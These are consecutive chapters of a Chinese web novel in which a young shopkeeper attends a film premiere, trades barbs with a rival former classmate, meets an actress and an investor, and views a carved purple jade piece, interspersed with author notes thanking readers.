龙飞凤舞写下一封信，折起，密封，申明月出了营帐，递给值守将士，嘱咐一句快马送回升州。 等人跑走，申明月再三命令不准任何人打扰，放心回到营帐，略等了一会，大迈步去了小卖部。 “萧老板，我来吃烤串啦。” 萧妧妧赶紧冲着身后的申明月“嘘”了一声。 申明月抿唇噤声，蹑手蹑脚走到孟甜甜身边。 爱丽丝仰头冲她笑了笑，递来一串刚烤好的肉。 她刚坐下，就听到旁边的萧妧妧举着电话，弱声解释： “对不起对不起，我没看到消息。不不不，用不着，我已经到家了，马上准备睡觉。” 又是道歉又是道谢，说清楚后，萧妧妧松了一口气。 拒绝陪同又拒绝了借狗，黎行聿不放心，临走前提过让她到家回消息。 回小卖部后一通忙，萧妧妧早把这事忘在脑后，乐滋滋准备吃夜宵，等了许久没收到消息的黎行聿拨通了电话。 萧妧妧以为他只是客套一下，没想到他真的会打电话过来问。 听到那头走动时发出的喘息，以及周遭商铺闭店关门发出的杂声，萧妧妧不确定的想，他该不会特意跑出门了吧？ “你……在外面？” 萧妧妧不会听错，一到深夜，几家铺子开始接货，推车滚轮在青石板路面咯噔咯噔响。 显然，黎行聿并没有在家，甚至穿行在月牙巷里。 “一天没有陪大王，它闹着要去外面玩。” 听到黎行聿回话，萧妧妧莫名松弛下来，让他安心遛狗，匆匆说一句再见，挂断电话。 通话页面跳转，萧妧妧忽然意识到，她已经漏接了两通黎行聿打来的电话，第三通才顺利接听，不由心虚地吐舌。 黎行聿望了望黑掉的手机屏幕，轻喘着去看不远处的188号小院方向，紧绷的肩膀倏然放松。 周末的月牙巷比往常热闹些，深夜时分仍有游客与小摊贩在游荡，一身居家服、穿着室内拖鞋行走在景区内，黎行聿的存在相当惹眼，频频招来侧目。 他不自在地拨了拨额前碎发，转身往巷子深处走。 口口声声准备睡觉的萧妧妧，放下手机就挤进吃夜宵的行列，捞起一串塞嘴里，鼓着脸颊幸福地咀嚼。 牛排哪有牛肉串来得有滋味啊。 回家之前，萧妧妧把当天到货的物资划开包装，辨别是谁的东西后，有序塞进空间或摆在屋檐下。 孟甜甜周末双休不打尸，闲着无聊，不仅教爱丽丝生活技能，连带着帮忙整理新到的快递，大致分类过后，萧妧妧需要做的事情并不多，三两下处理完成。 最后，确认碳火熄灭，萧妧妧带着一大袋垃圾离开。 回到巷子深处，她不禁瞥向对面的231号，心虚情绪泛上心头。 因这一份心虚，萧妧妧走路姿态变得鬼鬼祟祟，踮着脚去开门。 “……已经睡觉了？” 身后传来低低的轻笑，萧妧妧鬼祟动作瞬间僵住，缓缓转身。 黎行聿靠在门框边，静静看着她偷偷摸摸的小动作。 萧妧妧确定黎行聿是在和她搭话，唰一下站得笔直，手里拎着的外卖包装袋悄悄往背后藏了藏。 “嘿嘿，晚上好。”她若无其事地打招呼，“你怎么还没睡，遛狗刚回来吗？” 黎行聿话音里透着无奈与好笑：“大王闻到了烧烤味，拽着我出门看看。” 萧妧妧怀疑他故意逗她玩，狗鼻子未免太敏锐了吧，然后她情不自禁低头嗅了嗅衣领肩侧。 果然，烧烤的焦香腌入味了，衣服上甚至能闻到蘸料的辛辣。 萧妧妧更心虚了，还有说谎被人戳破的尴尬，她梗着脖子嘴硬道：“我还年轻，在长身体，容易饿得快，吃点夜宵很正常。” 她视线乱瞟就是不敢看黎行聿。 黎行聿叹气：“没有要管束你的意思，只是……” 说到一半，萧妧妧抬眸望过去等下文，黎行聿倏地顿住，说不出口。 萧妧妧等了一会，奇怪看他一眼，怎么说话吞吞吐吐的。 “没事了，早点休息。”他轻声说。 萧妧妧顿时生出若有似无的歉疚，回一句晚安，赶紧溜回家。 吃不完的外卖塞冰箱，抓紧时间洗漱，萧妧妧总算在凌晨以前躺回床上。 脑袋一歪，彻底陷入沉睡，只剩下手机兢兢业业朗读教材。 第二天一大早，萧妧妧就让爸妈吵醒了。 睁着眼睛发一会呆，听爸妈忙忙碌碌挑衣服准备早饭，萧妧妧打了个哈欠爬起来。 她想起来了，今天睡不了懒觉，要去看电影首映。 但也太早了一点吧…… 萧妧妧换完衣服，身子一歪，倒回床上。 早饭摆好，爸妈连声催促，她不情不愿地挣扎起身，简单洗漱一下。 “你怎么没化妆啊？今天有好多媒体的，听说请了大明星过去呢。”张芸看女儿打扮素净，衣服是普通的长裤白T，一脸嫌弃。 “媒体去也是拍明星，拍演员导演，跟我有什么关系。”萧妧妧纹丝不动，埋头，唏哩呼噜喝粥。 张芸一想也是，电影院黑咕隆咚，化妆都浪费了。 早起，但磨蹭了半天，最终出门时间比她工作日去店里上班还要晚一小时。 十点不到，他们赶到了南市最豪华的影院门口。 投资了电影的大爷大妈都收到了邀请，一共三十多人，大家打扮得光鲜亮丽，乌泱泱凑在一起，在一众排队打卡的年轻人中无比显眼。 谁能想到，前些日子还担心被诈骗，整宿整宿睡不着，一度手挽着手去剧组大闹。 隔了没多久，电影临时空降上映，总算摆脱诈骗嫌疑，大家喜不自禁，默默祈祷票房暴涨，他们好跟着分利润，哪怕回本也可以。 萧妧妧一不留神，爸妈瞬间失去踪影，再一看，已然钻进人群中social 进场后，投资人的座位划在一个区域，媒体影评人是一个区域，普通观影人集中在中后排，可容纳千人的影厅塞得满当当。 视线往后一扫，有粉丝迫不及待拉了横幅和各种小玩意，早早开始应援。 萧妧妧的座位在前排，好巧不巧和主创团队的位置相邻。 看到旁边贴了A4纸，张芸张望好一会。 “是明星吧？什么时候来？妧妧，你到时候偷偷看一眼，要是很有名的话，你悄悄要个签名。” “座位都拐到第三排了，那肯定是小配角。”萧大明戳破老伴的幻想。 萧妧妧认同的点头，前面中间位置留给主演和导演，方便进出，后排边角位置肯定是小配角。 娱乐圈论资排辈风气严重，是这样的。 影厅暗下来，片头广告开始播放，没多久，萧妧妧察觉到有人陆续进场。 山顶位置的粉丝眼尖，瞬间爆发了不小的议论，影片正式播放才平息。* 这时，萧妧妧感觉到身旁座位颤动，有人落座。 她好奇地扭过头，只打算偷偷看一眼，大银幕明亮的瞬间，萧妧妧看清了邻座的脸- 救命！你猜我在电影院碰见谁了 忍不住和好朋友蛐蛐一句，萧妧妧收起手机，摸了摸自己素颜的脸。 糟了，早知道她应该化全套妆容，戴日抛、贴假睫毛，换上最漂亮的小裙子，闪闪亮亮的出现。 【作者有话说】 前面留了线索，应该能猜出来是谁吧[让我康康] 感谢读者“宁有瑕而为玉”,灌溉营养液 +15 感谢读者“南歌子”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“清若”,灌溉营养液 +1 感谢读者“大大很帅”,灌溉营养液 +10 感谢读者“韵月”,灌溉营养液 +6 感谢读者“木昰”,灌溉营养液 +1 感谢读者“芝麻汤圆”,灌溉营养液 +80 感谢读者“杨旷旷”,灌溉营养液 +5 感谢读者“momo”,灌溉营养液 +5 感谢读者“”,灌溉营养液 +4 感谢读者“小露珠”,灌溉营养液 +23 感谢读者“妧訢”,灌溉营养液 +24 116 第116章 ◎这世界真小◎ 手机屏幕亮起,好友被她吊起好奇心，连发表情包追问。 萧妧妧稍稍偏头，用余光瞥了一眼，确定自己没看错,低头回复消息- 我们的老同学,许萌！- 记不记得我们上学的时候有个片子选角,大家试戏视频都没录完,突然说定人的那个？就是那部- 电影今天在南市首映，群里说许萌有新片要上了,也是这部- 我爸妈之前投资过，差点以为被诈骗,去剧组闹了一阵子，没多久收到邀请,带我一起来看电影- 这世界真小 噼里啪啦发去一连串消息，等了一会,对面也一连串消息发过来- 卧槽,许萌！她在你旁边？- 竟然是这部！我记得,海选刚开始,告诉我们决赛结束了,笑死人- 难怪我们吐槽的时候，许萌从来不搭话，原来是闷声发大财啊- 啊啊啊啊我憋不住了，我要把这个瓜分享出去- 天哪,你们这是什么孽缘啊- 她是不是又对你阴阳怪气了？- 这世界真小 好朋友发出了同样的感慨。 谁说不是呢。 两人都是南市人，为准备艺考报了同一机构,又同时报考三大之首的电影学院表演专业。 更巧的是,萧妧妧以3分之差拿下艺考第一,许萌排在第二名。 毕业前后到处试戏的时候，缘分更是不浅，她参加十个选角面试，有九个能遇见许萌。 毕竟圈子就那么大，每年开机的电影电视也就那么多。 要求导演编剧班底都拿得出手的项目，自然是少之又少，竞争激烈很正常，同学、校友之间竞争更不意外了。 萧妧妧没当回事，只感慨工作不好找，后来毕业聚会才从别人嘴里知道，为什么在机构里几乎没什么来往，反倒是考到同一院校专业后，许萌反而处处与她较劲，近乎怨怪的那种较劲。 “萧妧妧？” 不确定试探声音传来，萧妧妧瞬间按灭屏幕。 “许萌……？” 真是担心什么来什么，萧妧妧并不怕遇见老同学，只郁闷遇见她的时候，自己朴素至极，对方精心描画了眉眼，打扮出恰到好处的漂亮。 明明早就发现了许萌，萧妧妧仍旧装出一副意外的样子。 许萌诧异挑眉，她听经纪人说这一排安排了很多投资人，让她客气点，坐下来之后没忍住好奇心偷偷打量。 这一看倒好，遇见了老熟人。 “我记得这里……安排了投资人入座。” 许萌扫了一眼萧妧妧的白T牛仔裤，挑剔与轻视一闪而过，温和笑容掩盖了她几乎溢出来的幸灾乐祸。 她就差明说：你配吗？ 萧妧妧不禁赞叹，还是社会锻炼人，瞧瞧，许萌大小姐都学会了装模作样，搁在以前，她是真敢明说。 当然，她也没惯着就是了。 “你没记错。”萧妧妧微笑。 许萌质疑，但没说什么，侧身交谈的时候保持着笑吟吟的神态。 萧妧妧转头四顾，看到大爷大妈拿着手机到处拍明星，瞬间了然。 原来不是装给她看的。 萧妧妧疯狂想吐槽，强忍住，靠回椅背去看剧情。 两人说了半天话，主要角色基本露面，人物关系交待的差不多，这时想要看进去，发现角色都认不全。 倒是许萌那张脸频繁出现，虽没多少台词，但也足够有存在感，难怪剧组当初会为了一个配角兴师动众搞海选。 “年轻时候演的，还是太青涩了。我最近又接了几部片子，导演夸我进步很大呢，不出两年就能演主角了。” “对了，我看群里消息，你回南市做生意了？你可是我们那一届的第一名呢，就这么放弃太可惜了。” 萧妧妧面无表情，眼珠子盯住大荧幕一动不动，实则句句都在反驳。 可惜个毛线，估计忙着拍手叫好吧。 许萌想起那张小卖部的照片，心情舒爽，天真的问：“我想想，是开超市还是商场来着？” “抱歉，昨晚有个大夜戏，下一部新戏的剧本刚到手，好多台词要背，压力太大了，记性不太好。” 萧妧妧都懒得用余光瞄，光是听语气就能想象出她的表情。 她暗暗撇嘴，继续面无表情盯着前面。 许萌拨了拨长卷发，翘在二郎腿，坐姿端正又好看，眼珠子同样盯着前面荧幕，但嘴里说着完全不相干的话题。 “当演员可真难，不像你，自己做生意，想来看电影就看电影，想穿什么穿什么。 我现在可苦恼了，出门要戴口罩，白天根本不敢出门，晚上更不能随便出去，不然那些狗仔不知道要写什么。” 萧妧妧惊讶接话：“狗仔竟然也拍十八线素人？” 许萌忽然卡壳，无从反驳。 她现在，确实是个糊咖素人。 神情僵硬一瞬，许萌梗着脖子道：“刚拍了个大制作，你知道的，那些媒体就喜欢押宝。 他们看好我，认为我以后一定能火，这不，天天开着车子跟我呢。 你一定懂的吧？当时你拿下艺考第一的时候，好多人押你会红呢。 唉，人生的容错率果然不是一般的高，换成我没戏拍，我都不知道要怎么办。” 句句都在戳她心窝子，萧妧妧没忍住翻了个白眼。 许萌一直与她较劲，就因为电影学院的艺考第一被她拿下，许萌屈居第二，原先准备的造势通稿作废。 吹不了第一，那就吹颜值，当时网上热闹好一阵，吸引不少追星人士买股押宝。 萧妧妧后来听说，当时许萌打算拿第一的噱头狠狠营销一把，顺势竞争某部剧的重要角色，为自己增加砝码，然后以此正式出道。 具体过程她不知道，只听说结果不如意。 许萌以为先大家一步签公司就稳妥了，结果开局不顺，复盘一遍，把原因归在萧妧妧身上。 萧妧妧知道的时候已经毕业了，听同学说起这些事，像是在听别人的八卦，差点大喊冤枉。 是许萌自己菜、运气不好，关她什么事？ 早一两个月遇上许萌，听她这么一通话，萧妧妧虽然嘴上不放过她，但一个人独处时，难免窝窝囊囊生闷气，半夜偷偷掉眼泪。 就像许萌所说，艺考第一公布出来的时候，照片在网上传了好久，吸引很多人关注。 那时候萧妧妧天真的以为自己就是那个宝，老老实实学表演，打磨好演技，以后肯定能在行业里立足。 在校几年她认认真真，踏踏实实，私下接戏只敢在假期安排，不管大配角小配角，她都愿意琢磨。 按理说在校期间已经有过几次不大不小的演艺经历，虽说仍旧是个素人，但未来可期不是。 结果并不然。 在她踌躇满志的与同学们告别，奔赴各个剧组试戏后，萧妧妧发现天塌了。 她表演得有多差劲才接不到一部戏啊？ 比她成绩差的同学陆续接触到了几部戏，甚至有人签约了小有名气的公司。 唯独萧妧妧无人问津，先前伸出橄榄枝的工作室、公司没了一点音讯。 曾经的演艺经历好像做梦一样。 接不到戏就没钱，没钱就在京城待不下去，恶性循环，萧妧妧坚持了一年，没有试戏邀请的时候就准备考编。 两手抓，万一抓住一个呢。 三心二意果然没有好结果，戏没有接到，考编也没希望。 虽然父母很支持她继续尝试，也足够体谅她的难处，每月照旧打来生活费，甚至考虑到房租问题，生活费比起在校期间翻了一倍，足以支撑她一阵子，萧妧妧却不想坚持了。 第一次遭到社会的毒打，萧妧妧承认，她心理有点脆弱。 以为的未来可期，实际是未来可弃。 一切过去后，萧妧妧想清楚了，就是发生的突然，落差太大，有点接受不了。 闯荡一番事业的雄心壮志直接在短短的几个月里磨没了，只剩下连绵不绝的自我怀疑和焦虑。 想到父母年纪大了，已经到了可以领养老金的岁数，即便他们愿意支持，萧妧妧也不想自私的消耗下去。 和父母摊开把话说清楚，表明回南市的意向，随便找个离家近的工作，萧妧妧反而轻松许多。 比上不足比下有余，她至少有父母兜底。 家乡是一线城市，住在热门景区，家里有一间民宿和小卖部，生意时好时坏不稳定，刚好解决温饱问题。 父母一听，果断决定把小卖部的生意交给她。 说是经营小卖部，自负盈亏，其实父母一直补贴她，即便回了南市，每个月照旧打生活费。 从实际情况来看，萧妧妧在资金方面的压力可以说不算很大，贷款和生活费从爸妈那里出，开店的启动资金也是他们出大头。 萧妧妧想大手大脚花钱不可能，父母的支持顶多够自己花的同时，再偷摸存一点钱满足小爱好。 她大可以心安理得地躺平，抱着父母大腿快乐过日子，可萧妧妧已经是成年人了，即便父母劝她不必着急，慢慢来，但她的自尊心不允许慢。 想到自己毕业一年多，不仅没找到像样的工作，还要父母贴钱，引以为傲的一切好像从未存在过一样。 经济压力是不太大，自己给自己施加的心理压力大得离谱。 她对自己的未来设想，不是这样的。 要接受自己是个平庸、平常的普通人，过程太痛苦了。 崩溃之后要迅速重建，保持清醒地走入现实，又是一个漫长而痛苦的过程。 尤其她刚回南市，亲戚旁敲侧击，邻居明涵暗示，话里话外都说她这个大学白上了，放着大明星不当，跑回来看铺子，艺考的投入等于打水漂，等着看她笑话。 萧妧妧有点要强，表面上装得云淡风轻，像个正常人，过着正常生活，实际内耗到头发大把大把掉。 她不甘心守着小卖部，买了资料准备考公考编考研，随便哪一个，总要再试试。 系统的到来彻底改变了她的状态，甚至于观念、心态，一起发生了转变。 果然，人只要活着，一切都在一念之间。 萧妧妧不去想已经远离自己的剧组生活、充满奇妙体验的角色塑造、满是光鲜奢华的娱乐圈，她觉得现在的生活就很好。 许萌喋喋不休，变着法子戳她肺管子，萧妧妧内心毫无波澜，自顾自走神。 显然，和在邻居嘴里听到的那些话比，许萌的实力也不过如此，甚至有些吵闹。 萧妧妧拉了拉萧大明的胳膊：“旁边的人好没素质，看电影的时候大声说话，爸，我和你换位置。” 萧大明看不懂电影，差点睡着，让女儿叫醒后，乖乖换位置，头一歪，继续睡。 许萌见状气结，碍于现场明的暗的有不少合作演员的粉丝在拍，她抿了抿唇，决定暂且放过萧妧妧。 隔了一个座位，萧妧妧耳根子终于清净了。 看一眼大荧幕，这下完蛋，根本看不懂，索性掏出和好朋友蛐蛐。 心态改变，萧妧妧连自己的瓜都搬，模仿许萌的语气，把她的原话复述过去。 八卦起来没完没了，不知不觉，电影播放到片尾曲。 许萌掏出化妆镜检查妆容，起身，若无其事斜了萧妧妧一眼，笑容满面地跟随导演演员们去影厅前排。 灯光全部打开，主持人串场，演员们依次介绍，前后排所有人举起手机默默拍摄。 哪怕站在边缘位置，只得到了一次自我介绍的机会，许萌也保持着完美笑容和仪态。 张芸小声嘀咕：“长这么漂亮怎么能站外边呢，真是的……幸好妧妧没去拍戏，不然多委屈啊。” 萧大明打了个呵欠：“要拍照了吗？” 张芸翻了个白眼，继续和闺女说话。 所幸串场过后，邀请的明星观影人陆续起身发言，两人的嘀咕在千人影厅里没有产生丝毫影响。 “其实呢，今天还请来了高鹭老师一起观影，高鹭老师和咱们导演合作过几次，请问高鹭老师看完电影之后有什么想说的呢？” 萧妧妧听到主持人的介绍，诧异挑眉。 扭头去看，大约在第七排的位置，简约造型，戴着帝王紫手镯的优雅女人接过话筒起身。 确实是她认识的影后高鹭。 萧妧妧天真的以为高鹭飞南市是为了帝王紫而来，原来还有别的活动，嗐，自作多情了。 高鹭客套地表扬了演员们，又单独点了许萌夸赞两句，许萌受宠若惊，忙鞠躬感谢。 直到高鹭发言完毕，许萌克制地笑了笑，挑起红唇向萧妧妧看来。 萧妧妧拒绝接收许萌的挑衅和得意，她似乎看到认识的人，频频扭头在后排座位寻找。 【作者有话说】 毕竟是一闪而过的名字，没有正经出场过，猜不出来很正常，这次应该好猜了（大概吧）[捂脸偷看] 感谢读者“四方”,灌溉营养液 +1 感谢读者“小露珠”,灌溉营养液+1 感谢读者“momo”,灌溉营养液 +1 感谢读者“若影”,灌溉营养液 +160 感谢读者“哦了瓦特了”,灌溉营养液 +50 感谢读者“小张”,灌溉营养液 +3 感谢读者“”,灌溉营养液 +2 感谢读者“木昰”,灌溉营养液 +1 117 第117章 ◎杀熟◎ 这世界真小,真的。 看一场电影首映，接连遇见熟人。 就算只有短暂的交集，那也算熟。 萧妧妧收到消息，回头寻找,果然在后一排找到了眼熟的大脸盘子,微笑颔首。 明星观影团又来了一个影帝级别的人物,正在发言,张芸全程扭身，扒着椅背好奇打量这些星光熠熠的人物。 “咱们投钱的时候,人家就说导演多厉害，我们以为吹牛呢,现在一看，真是不得了。”张芸惊叹道。 萧妧妧笑着接话：“毕竟是有点知名度的导演。” 知名度还不算低,现场来了不少导演粉丝呢。 萧大明凑过来低声问：“妧妧，你看这片子能赚钱吗？” 萧大明谨记自己投资人身份,一门心思关心自己能不能赚到钱。 张芸同样关心收益问题：“拍得什么故事我也没看懂,咋咋呼呼的,是不是你们年轻人爱看？应该能赚点吧？” 萧妧妧耸了耸肩,安慰他们：“能不能赚钱看运气,没票房的好片子不少，赚了几个亿的烂片多得是。” 张芸和萧大明面面相觑，这到底是能赚还是不能啊？ 两人拉着旁边一起组团来的大爷大妈交头接耳，听听大家的想法。 萧妧妧一边和好朋友蛐蛐说八卦,一边工作室约具体上门时间，回过神的时候,采访问答环节已经进入尾声,主持人引导大爷大妈们上台拍大合照。 大家就等着这环节呢,高高兴兴上台，顺势盯着明星们瞧，趁机握握手。 张芸特意扯了扯闺女才给买的某香丝巾，某马包包板正地挎在手腕上，确定露出包包正面才机械微笑。 萧妧妧想扶额，发现大家不遑多让。 接连拍了几张合照，投资人堵上门的事情就再不能拿出来做手脚了，电影安安心心等上映。 全部流程至此结束，导演演员们为防止秩序混乱，先一步离开，发言完毕的明星观影人也早早走了，只剩下普通观众陆续退场。 张芸和萧大明要继续社交，和有过讨债交情的大爷大妈们一起聚会，萧妧妧就落了单。 帮他们代打一辆车，确定他们上车，萧妧妧也准备离开。 “你还真是心大，我要是你，这辈子都不想看电影了。” 观影人散去，热热闹闹的影院大厅一下子安静，刚要转身找地方吃两口填饱肚子，萧妧妧就让人堵住去路。 是许萌，换下宣传用的文化衫，穿着优雅精致的奢牌套装，很有明星的味。 没有粉丝和媒体在场，许萌说话刻薄多了，刻薄之余，萧妧妧产生了微妙的直觉。 什么叫“我要是你”？ 听话听音，许萌好像知道点什么。 “你好意思演，我有什么不好意思看的？”萧妧妧想不出所以然，反唇相讥。 许萌挑起亮晶晶的粉唇，笑意恰到好处：“也对，毕竟没有剧组愿意用你呢，可不就只能看着我演了？” “艺考第一又怎么样？他们看好你又有什么用？参加首映礼的是我。” 许萌保持着温和笑容，说出来的话一句比一句刺耳。 萧妧妧揉了揉耳朵，怎么听起来好像是她不干人事似的，明明在校那几年，是许萌事事与她比较吧？ “哦，那有怎么样？”萧妧妧冷淡回应。 许萌笑得更温柔了：“你的演技一如既往的好，完全看不出来有多心酸呢。” 如果你知道我的账户余额，你就知道我一点不心酸，只有数钱的手酸…… 萧妧妧默默吐槽，但晒账户余额这事有点脑子进水的意思，她不可能做。 “萧老板，真的是你啊？” 正说着话，影院出口位置传来成熟女人的嗓音。 两人不约而同侧身转头，戴着口罩帽子的高鹭走在前面，经纪人章女士和助理拎着大包小包跟在后面。 许萌僵硬片刻，飞快扬起灿烂笑容，“高鹭姐。” 萧妧妧知道高鹭在场，但是没想到会在影院大厅遇见，颔首打招呼：“高女士。” 高鹭没认出换了私服的许萌，微微点头，停在两人身边，和萧妧妧搭话。 “看，我今天就戴出来了。”她伸出手腕展示帝王紫。 萧妧妧笑着附和：“刚才您发言的时候我就看见了，帝王紫非常配您。” 不算拍马屁，高鹭一向以成熟优雅稳重形象示人，不管戴绿戴紫，都有一番气势。 萧妧妧想，如果等她到了四十岁的年纪，能有高鹭的气质、身材以及气场，那可太美好了。 她眼底的欣赏与向往毫无保留，高鹭轻易感受到，笑容真诚许多。 “那要多谢萧老板割爱呢，您手上再有这种级别的帝王紫，可得给我留着啊。”高鹭说。 萧妧妧这时注意到，高鹭不仅戴着帝王紫手镯，耳坠与项链也是帝王紫。 高鹭察觉萧妧妧视线，摸了摸吊坠，解释道：“这几个是我自己配的，到底不是一套，看起来有点浅了，戴着玩玩。” 萧妧妧恍然想起，那天在网上搜瓜的时候，好像确实传出小道消息，说是高鹭在收紫翡，听说是信了大师的话，紫色旺她。 日常戴着大几百万的紫翡吊坠和项链，千万级别的翡翠手镯也没个特别防护，果然是有钱人。 萧妧妧就不敢戴贵重的翡翠玉石镯子，平日里在小卖部干活，不知道什么时候磕着碰着，她会心疼死。 高鹭又道：“对了，他们没怎么样吧？这两天没收到消息，我还在想是不是过去了。” 他们，指得是想压价收购帝王绿珠链的翡翠商。 高鹭一使眼色，萧妧妧马上接到信号，摇摇头，不确定地说：“没什么大问题，看起来应该是过去了……？” 萧妧妧也说不清，反正有两天没看见彩虹男团出现，大概率放弃了吧。 话又说回来，只因为一个恶作剧就轻而易举地放弃，好像太顺利了些。 既然对方想让自己吃点教训，怎么也该教训完了再走吧，半途而废算怎么回事？ 萧妧妧估摸着还有后手，只不知道等在哪里。 “没大事我就安心了，真要有问题跟我说，我来联系他们，我之前在他们手里买过不少东西，多少算熟悉了，大家都认识了才好说话。” 高鹭混迹娱乐圈，首先想到的是不得罪人，如果不小心得罪了，最好的解决办法是赶紧赔罪，把事情了结。 萧妧妧谢过高鹭好意，心里并没有多少期待。 要怎么解决？把帝王绿珠链低价让出去？ 萧妧妧一百个不同意。 “最近忙着收整套的帝王紫，萧老板多多帮忙留意啊。” 匆匆交谈几句，经纪人提醒行程，高鹭挥挥手离开。 “你怎么会认识高鹭？” 人影一消失，许萌不可置信地上前一步，挡在萧妧妧面前，语气急促带着尖利的质问。 萧妧妧古怪扫她一眼：“我认识她很奇怪吗？” 许萌上下扫视，轻蔑溢出眼底，藏在轻蔑之下的，还有几分忌惮。 一个没进圈就退圈的人，竟然认识圈内的大咖，萧妧妧哪来的人脉？她不都已经回家开便利店了吗？ 听着两人熟络地寒暄，交谈彼此知道的话题，许萌内心震动。 萧妧妧要回去拍戏吗？走得是高鹭的门路？她们是什么关系？ 许萌抿了抿唇，拳头不自觉紧握。 她刚想说些什么，萧妧妧绽放笑容，抬手向一侧挥了挥。 “萧老板，真巧啊，看不出来您还投资电影呢。” 许萌不满拧眉，循声扭头看到来人，面色再次僵住。 “我爸妈投了一点，”萧妧妧上前迎了两步，“孟先生怎么没在展馆，有空来看电影？” 许萌看着身穿深色T恤、浅色运动短裤，面容普通，整体可以用不修边幅来形容的低调男人，脸渐渐绿了。 “孟董。” 深深凝望萧妧妧一眼，许萌紧跟上前，稍显拘谨的和投资人打招呼。 孟有树是电影的投资方之一，中后期入股，现在能有经费宣传，包括迅速登上影院，背后都有孟董的公司在其中出力。 首映前剧组在南市聚餐，孟董匆匆露面，经纪人介绍过，许萌不会认错。 孟有树被人打断，瞥一眼许萌，以为是认识的人，颔首打招呼便没多理会，继续和萧妧妧说话。 “这不巧了，我也投了这个片子，今天正好没什么事，过来看一眼。”孟有树寻找一圈，笑眯眯问：“对了，黎总没和你一起啊？” 萧妧妧愣了愣，想不通怎么扯到黎行聿，两人又不是绑定关系。 纳闷一会，萧妧妧随即想起来，孟有树现在还误以为她和黎行聿有PY交易，古董铺背后有大佬撑腰。 萧妧妧头疼该怎么澄清误会，孟有树却不在乎她的回答，飞快转换话题，笑呵呵说：“刚刚看见萧老板，差点以为看错了。” 别说孟有树，萧妧妧也以为自己看错了。 收到孟有树发来现场照片，萧妧妧找了好一会，才在投资方观影区看到他。 萧妧妧挺意外的，听黎行聿说，孟有树做地产出身，竟然会涉及娱乐行业。 孟有树：“钱放着也是放着，不如多搞几家公司流动起来。不懂造星，那就玩点擅长的，投投电影，赚点小钱，房地产生意不好做。” 萧妧妧深有同感，她现在就处在类似的阶段，看着账户余额不顺眼，想让它们出去打工，快速生钱。 电影投资确实是个不错的项目，成功了翻倍赚，看走眼了更刺激，底裤赔没了大有人在。 萧妧妧忽然顿住，灵光一闪而过。 孟有树涉及娱乐行业，或许可以请他帮忙打听一下？ “萧老板，改天去你店里聊，你可要帮帮忙，把东西给我留住。我这里还有事，得走了，中午和导演有约。” 萧妧妧压下心头思绪，现在时机和环境都不适合说这事，等生意做成再提比较妥当。 她展颜一笑，温声道了句再见，目送孟有树的身影离开。 没了第三人在场，许萌的表情管理彻底崩塌。 “你到底在玩什么把戏，你不是开小卖部的吗？” 视线挪到许萌身上，萧妧妧意外挑眉。 怎么看起来像是破防了。 萧妧妧无辜微笑：“我开的是小卖部吗？最近记性不好，我以为是超市或者商场呢。” 许萌瞪着眼珠子，灼热目光要烧穿她似的。 “你别太得意！”许萌气息不稳，咬牙切齿的低吼。 萧妧妧无所谓地耸耸肩，得意一点也很正常吧，她现在可是日薪越亿的人呢。 暖黄射灯打在她身上，衬得那抹若有似无的笑意格外刺眼。 萧妧妧见她气得胸膛起伏，笑眯眯递出名片。 “月牙巷188号，有空记得关照一下生意，老同学有九折优惠。” 许萌：“谁要去你那个破店。” 瞪了萧妧妧一眼，没在她身上找到优越感的许萌踩着高跟鞋笃笃笃离开，听声音，气得不轻。 萧妧妧可惜地收回名片，贱兮兮的给名片拍了张照，从联系人列表了找到几乎没联系过的同学- 告诉许萌，想关心我过得好不好，大可以加了好友直接问，传了几手的截屏哪有一手的照片清楚- {图片}虽然她买不起，但是逛一逛又不收钱，我随时欢迎她 做生意的是这样，黑心肝一点很正常，多好的杀熟机会啊，不能放过。 时间不早，萧妧妧没机会挑剔，随便找了家附近的高分餐厅解决午饭问题，冒着大太阳赶到设计工作室。 设计师助理等在楼下，看到萧妧妧笑脸相迎。 “萧小姐，您的冰红紫，雕涨了。” 涨了？还能涨到哪去？两百万的原料已经不便宜了。 她和设计师商量过方案，设计师没敢打包票说涨还是赔，那时候萧妧妧就做足了心理准备。 最好情况是翻倍，200万雕出400万的成品，又或者意外发生，切赔了，只要不是赔得太多，都在她的承受范围内。 不管涨还是赔，都属于常见情况，不意外。 萧妧妧有自知之明，她不懂设计，也给不出好意见，料子交给老师傅后，交待清楚需求，其他让他看着定，绝对不干涉。 中间倒是联系过一次，老师傅对半切的时候发现了一条裂，原本磨成蛋面的那一面深处有棉絮，需要重新设计。 萧妧妧听到消息迟疑了一会，最终选择相信老师傅，采取老师傅给的方案。 至于成品，交流的时候她只看过图片，确实很不错，但老师傅可没说什么涨了的话。 助理笑着解释：“师父一向这样，不喜欢多说，您看了东西就知道。” 萧妧妧的好奇心彻底吊了起来，脚步不自觉加快。 【作者有话说】 平时闷不吭声，水的时候炸出来几个生面孔（指指点点）这章加了料的，够浓吗？[柠檬] 感谢读者“哦了瓦特了”,灌溉营养液 +5 感谢读者“猛喵下山”,灌溉营养液 +8 感谢读者“momo”,灌溉营养液 +3 感谢读者“catle”,灌溉营养液 +1 感谢读者“本本本本肉”,灌溉营养液+30 感谢读者“妧訢”,灌溉营养液+10 感谢读者“小张”,灌溉营养液 +6 感谢读者“哈哈哈哈哈”,灌溉营养液 +2 感谢读者“小露珠”,灌溉营养液 +1 118 第118章 ◎单一藏家拍卖专场◎ 工作间百来平,机器运作的噪音此起彼伏，充斥着水气和无法形容的气味。 老师傅听到助理连声唤，抬头，扶了扶眼镜,看到萧妧妧来了,漾起笑容。 “拿冰红紫是吧？”老师傅全靠原料记人,转过身从绒布垫子上取来小布包,“喏，你看看。” 老师傅太淡定了,萧妧妧一度怀疑小助理嘴里所谓的涨，和她认为的涨不是一回事。 工作台旁边有待客的桌子,又有阳光，萧妧妧拿到东西挪到阳光下,仔细端详起来。 经过雕琢，冰种的透明度和不算特别浓郁的紫色完美呈现,和原料相比,鲜艳又均匀,红色与紫色的分布恰到好处。 阳光下看,找不到半点瑕疵。 只这一眼,萧妧妧就能确定，真的涨了。 切工不必说，毫无问题，大小方面有点遗憾,规格比她预想的要小一些，原计划的圆形变成椭圆形。 这是没办法的事,雕琢的过程总会遇见一些小意外。 避开大裂和棉絮后,裸石长宽厚分别是30、20.9、16.5,肉眼看饱满圆润，轻微的荧光质地和仙气飘飘的紫红色杂糅在一起，美极了。 尤其她选择黄金作为主要配件，金色与紫色相撞，富贵、优雅、奢华、抢眼。 